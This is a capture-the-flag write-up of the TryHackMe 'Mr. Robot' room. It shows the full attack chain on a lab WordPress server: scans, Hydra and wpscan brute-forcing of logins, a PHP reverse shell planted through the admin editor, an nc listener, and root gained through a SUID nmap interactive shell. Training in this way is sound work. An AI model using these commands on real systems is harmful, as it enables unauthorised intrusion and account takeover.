TryHackme – Mr. Robot writeup

I enjoyed doing this room on TryHackMe, first because I’m a fan of the TV Show Mr. Robot, but also because the web application hacking part involved WordPress, and I don’t remember ever doing a CTF where this CMS was used.

Scanning and Enumeration

NMap found just a website, and no other possible access point:

Nmap scan report for ip-10-10-21-254.eu-west-1.compute.internal (10.10.21.254)
Host is up (0.00053s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after:  2025-09-13T10:45:03
| MD5:   3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
|_SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
MAC Address: 02:42:6D:63:54:C5 (Unknown)
Aggressive OS guesses: Linux 3.13 (96%), Linux 3.10 - 4.8 (89%), Linux 3.11 (89%), Linux 3.12 (89%), Linux 3.13 or 4.2 (89%), Linux 3.2 - 3.5 (89%), Linux 3.2 - 3.8 (89%), Linux 4.4 (89%), Crestron XPanel control system (88%), Linux 4.2 (88%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 197.261 days (since Sun Aug 28 10:30:23 2022)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.53 ms ip-10-10-21-254.eu-west-1.compute.internal (10.10.21.254)

 

So I focused my efforts on the website. GoBuster was used in this phase to find additional folders, but the first interesting findings came up when I went to check the robots.txt as part of the manual scanning I do while GoBuster (or ffuf, or dirb, etc.) runs on the background:

root@ip-10-10-135-198:~# gobuster dir --url http://10.10.21.254/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.21.254/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2023/03/13 15:56:14 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/0 (Status: 301)
/Image (Status: 301)
/admin (Status: 301)
/atom (Status: 301)
/audio (Status: 301)
/blog (Status: 301)
/css (Status: 301)
/dashboard (Status: 302)
/favicon.ico (Status: 200)
/feed (Status: 301)
/images (Status: 301)
/image (Status: 301)
/index.html (Status: 200)
/index.php (Status: 301)
/intro (Status: 200)
/js (Status: 301)
/license (Status: 200)
/login (Status: 302)
/page1 (Status: 301)
/phpmyadmin (Status: 403)
/readme (Status: 200)
/rdf (Status: 301)
/robots.txt (Status: 200)
/robots (Status: 200)
/rss (Status: 301)
/rss2 (Status: 301)
/sitemap (Status: 200)
/sitemap.xml (Status: 200)
/video (Status: 301)
/wp-admin (Status: 301)
/wp-content (Status: 301)
/wp-includes (Status: 301)
/wp-config (Status: 200)
/wp-cron (Status: 200)
/wp-links-opml (Status: 200)
/wp-load (Status: 200)
/wp-login (Status: 200)
/wp-signup (Status: 302)
===============================================================
2023/03/13 16:00:11 Finished
===============================================================

That was a lot, and it’s clear that’s a WordPress website.

Exploitation

As mentioned above, robots.txt gave something useful: the URL of a text file with the first flag, and the URL of a dictionary file to download that upon a further inspection seemed a wordlist of names, folders, password and random strings/words (I guess the idea is that the file is the wordlist resulted after some kind of sniffing of the network).

I downloaded the fsocity.dic and kept looking around the wordpress website.

Originally I spent some time trying to figure it out a redirect on the /admin page, trying to use that redirect to access the /phpadmin page (as it was suppsed to show only if the hostname of the visitor was “localhost”). After some messing around with Burp I decided to put that aside and kept looking into wordpress.

What jumped to my eyes was that when trying some random credentials in the /wp-login page, it gave the error message “the username is wrong”. This seemed one of those cases where there are different messages for login attempts that could help with enumerating the usernames (the idea is that if the username is correct and the password is wrong, it will give a different type of error, like “the password is wrong”).

I used Burp to grab the parameters that the website was using in the login form, and then (as the Burp Community Edition throttles the Intruder speed) I used Hydra to enumerate the users with the help of the dictionary I found earlier:

root@ip-10-10-135-198:~# hydra -L fsocity.dic -p asdasd 10.10.21.254 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username" -t 35
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2023-03-13 17:32:11
[DATA] max 35 tasks per 1 server, overall 35 tasks, 858235 login tries (l:858235/p:1), ~24521 tries per task
[DATA] attacking http-post-form://10.10.21.254:80//wp-login.php:log=^USER^&pwd=^PWD^:Invalid username
[80][http-post-form] host: 10.10.21.254   login: Elliot   password: asdasd

I had a valid username, Elliot (which is the Mr Robot main character’s name). I used that with a random password on the website and grabbed the new error message:

Originally I tried to use Hydra to find the password using the new message to discriminate between error messages and find the correct password, but it was taking an unbelievably long time to go through the whole dictionary list (estimate was 90+ hours). I even thought about sorting the dictionary list and removing duplicates which helped to slim down the wordlist by A LOT, but it was still taking hours to complete.

I decided to try wpscan instead, which has a similar function of bruteforcing into a wordpress website and additional features that help enumerating the website and find additional vulnerabilities (which I didn’t need at this point but it’s still nice to have):

wpscan --url http://10.10.33.171 --passwords fsocitysorted.dic --usernames username.txt

[...]

[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - Elliot / ER28-0652                                                
All Found                                                                     
Progress Time: 00:00:21 <==========          > (12 / 22) 54.54%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: Elliot, Password: ER28-0652

It took around about 20 seconds to WPScan to find the password with the reduced dictionary, so it was a huge improvement compared to Hydra and definitely something I’ll remember for the future if I’ll find myself dealing with a WordPress site again.

The new password (I looked it up and in the show it’s Elliot’s employee number) allowed me to login as Elliot, the administrator, on the wordpress dashboard.

I’ve looked around, found some other interesting references to the tv show (one subscriber was Elliot’s therapist), but I used that admin access to simply update one of the pages by adding the PHP code for a reverse shell, started a listener on my machine and, after visiting the affected page, gain a shell.

root@ip-10-10-44-203:~# nc -nvlp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 10.10.33.171 48617 received!
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 07:56:47 up  1:00,  0 users,  load average: 0.00, 0.29, 1.37
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$

As usual, I improved my shell, as it makes for a more comfortable experience, using Python and the following commands:

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo; fg

And started to study the system, grabbing all the info I could need.

I found a file with the second flag in the home directory of another user, robot, but of course it wasn’t readable. What I could open though was a file inside that user’s home folder, called “password.raw-md5”.

Simply enough, I found the unhashed password via CrackStation:

And with the new password I could switch to the user robot, and grab the second flag inside his home folder:

daemon@linux:/home/robot$ su robot                              
Password: 
robot@linux:~$

 

I’ve then moved into my usual research and attempt to escalate privileges and found an interesting file with SUID permissions, NMap.

robot@linux:~$ find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
[...]

One of the uses you can find on GTFOBins for NMap with SUID privileges was to write to a file. I tried to use that but it didn’t seem helpful: I originally thought I could use to write inside the passwd or shadow file to add a new user, or to change the root password to one of my choosing, but the problem was that in the output NMap kept adding it’s own header and that would mess up the files themselves then.

Maybe there was some other use for that, but looking through GTFOBins I found something else to try: some versions of NMap have an interactive mode that can be used to execute shell commands.
I tried it and found out that the NMap version on this machine allowed me to gain root:

robot@linux:~$ /usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# ls /root
firstboot_done	key-3-of-3.txt
# cat /root/key-3-of-3.txt
[xxxxCENSOREDxxxx]

I got my third and last flag, and completed this room on TryHackMe.

Conclusions

I really enjoyed doing this CTF, I definitely lost some time going into rabbit holes (like trying to use NMap to write on files) or waiting for Hydra to find the password, but it was all good fun and I’ve learned some valuable information that will speed up my future engagements.

There won’t be any additional section with explanations in this article as I already did one on SUIDs in a previous post. There’ s nothing much to say about the other main vulnerability that I found in this room, the information disclosure in the login error message, because I don’t expect nowadays to have many websites that still give out this very valuable information, especially not WordPress.